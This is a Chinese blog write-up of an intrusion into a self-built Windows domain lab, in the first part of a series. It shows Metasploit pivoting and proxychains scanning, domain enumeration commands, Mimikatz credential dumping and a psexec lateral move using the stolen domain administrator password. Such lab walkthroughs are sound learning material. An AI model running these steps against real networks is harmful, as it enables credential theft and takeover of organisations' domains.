记一次简单域渗透(part 1)

一、环境

域环境是自己搭的,基本模仿的企业部署

域:learn.com


操作系统类型          IP地址        本地账户/密码      域账户/密码              角色
Windows 2008 R2    192.168.138.129  Administrator/     learn\Administrator      DC域控
                                    [email protected]       [email protected]

Windows 2003  网卡1:192.168.138.130  Administrator/   learn\win2003            域主机/
              网卡2:192.168.47.159   root             win@2003                 外网站点服务器

Windows XP         192.168.138.131    Administrator/   learn\winxp              域内主机
                                      root             [email protected] 

二、渗透步骤

ps:由于是内网测试,前面的外网打入内网的步骤就省略了哈! 即假设攻击者已控制了windows 2003主机。

2.1 信息收集

2.1.1 IP-域 信息

信息整理
账户:  learn\win2003
域:    learn.com
内网IP:  192.168.138.130
外网IP:  192.168.47.159
域控制器DC的IP: 192.168.138.129
另一台域内主机:  192.168.138.131
C:\Documents and Settings\win2003\����>ping learn.com
                                                                                                           
Pinging learn.com [192.168.138.129] with 32 bytes of data:                                                                            
Reply from 192.168.138.129: bytes=32 time<1ms TTL=128                                                                                 

在这里插入图片描述

内网主机发现:
1、在metepreter的shell里执行: for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.138.%I | findstr "TTL="
2、建立路由-代理进行内网扫描(参考 2.1.2节 )

在这里插入图片描述

2.1.2 建立路由-代理

run autoroute -s 192.168.138.0/24      #通过当前session建立一条通往内网网段的路由
run autoroute -p

在这里插入图片描述
方法一:msf自带的扫描模块

主机发现:(自己用来看看效果吧!)
use auxiliary/scanner/discovery/arp_sweep
use auxiliary/scanner/netbios/nbname
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/discovery/udp_probe  
use auxiliary/scanner/discovery/udp_sweep

端口扫描:
use auxiliary/scanner/portscan/ack

服务扫描:自己挑着用吧!
search auxiliary/scanner/

在这里插入图片描述
在这里插入图片描述

方法二:设置 proxychains代理

use auxiliary/server/socks4a
set SRVPORT 3333
run

vi/etc/proxychains.conf
socks4 192.168.47.147 3333

sudo proxychains3 nmap -Pn -sS 192.168.138.0/24(由于在域内,单纯的扫描可能识别不到,可参考附带一些常用端口去扫描)
sudo proxychains3 nmap -Pn -sS 192.168.138.129 -p 3389,445

在这里插入图片描述

2.1.3 域用户信息收集

常用指令

ipconfig /all   查看本机ip,所在域
 route print     打印路由信息
 net view        查看局域网内其他主机名
 arp -a          查看arp缓存
 net start       查看开启了哪些服务
 net share       查看开启了哪些共享
 net share ipc$  开启ipc共享
 net share c$    开启c盘共享
 net use \\192.168.xx.xx\ipc$ "" /user:""   与192.168.xx.xx建立空连接
 net use \\192.168.xx.xx\c$ "密码" /user:"用户名"  建立c盘共享
 dir \\192.168.xx.xx\c$\user    查看192.168.xx.xx c盘user目录下的文件
 ​
 net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域
 net user                 查看本机用户列表
 net user /domain         查看域用户
 net localgroup administrators   查看本地管理员组(通常会有域用户)
 net view /domain         查看有几个域
 net user 用户名 /domain   获取指定域用户的信息
 net group /domain        查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
 net group 组名 /domain    查看域中某工作组
 net group "domain admins" /domain  查看域管理员的名字
 net group "domain computers" /domain  查看域中的其他主机名

MSF模块

 run post/windows/gather/enum_ad_computers
 run post/windows/gather/enum_logged_on_users 
 run post/windows/gather/enum_ad_groups 
 
 run post/windows/gather/enum_domain
 run post/windows/gather/enum_domain_group_users
 run post/windows/gather/enum_domain_tokens
 run post/windows/gather/enum_domain_users
 run post/windows/gather/enum_domains
信息整理
域: learn.com
域用户:Administrator   Guest      krbtgt    win2003   winxp 

利用msf内置的mimikatz提取账户密码

load mimikatz  #加载 mimkatz 模块
help  #查看命令

Mimikatz Commands
=================

    Command           Description
    -------           -----------
    kerberos          Attempt to retrieve kerberos creds.   #提取域账户密码
    livessp           Attempt to retrieve livessp creds.
    mimikatz_command  Run a custom command.
    msv               Attempt to retrieve msv creds (hashes).
    ssp               Attempt to retrieve ssp creds.
    tspkg             Attempt to retrieve tspkg creds.
    wdigest           Attempt to retrieve wdigest creds.    #提取内存里的账户密码

meterpreter > 

在这里插入图片描述

思考: 进入内网,我们更多的是想拿到域管理员账户权限,可以伪造证书进行PTT攻击,或是直接获取到明文密码!!!
(前提,域内主机不存在系统级或是通用服务漏洞的时候)

2.2 内网横向移动

2.2.1 dump内存中的明文密码

为了方便获取内存里的密码,人为的利用域管理员账户访问win2003外网服务器。
在这里插入图片描述

在这里插入图片描述**这样就获取到了域管理员的账户和密码: ** Administartor/[email protected]
到这里,你基本可以在内网横着走了!!!

比如前面我们知道内网还存在一台主机 192.168.138.131
简单演示:
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp   #注意,在内网中,往往网络会受限制,通常使用 bind 系列的payload
set rhost 192.168.138.131
set rhosts 192.168.138.131
set smbdomain learn.com
set smbuser Administrator
set smbpass [email protected]
set lport 5556
explort

在这里插入图片描述

三、总结

but:实际中,我们是获取不到明文密码的!中大型企业里基本不会在用win2008以下的主机了。

接下来,我们需要利用 PTH PTT攻击
写累了,暂且就这样吧这章!

后面会继续补充 PTH PTT攻击 这一部分,期待下吧!!!
PTH 和 PTT 攻击

猜你喜欢

转载自blog.csdn.net/qq_42342141/article/details/109638205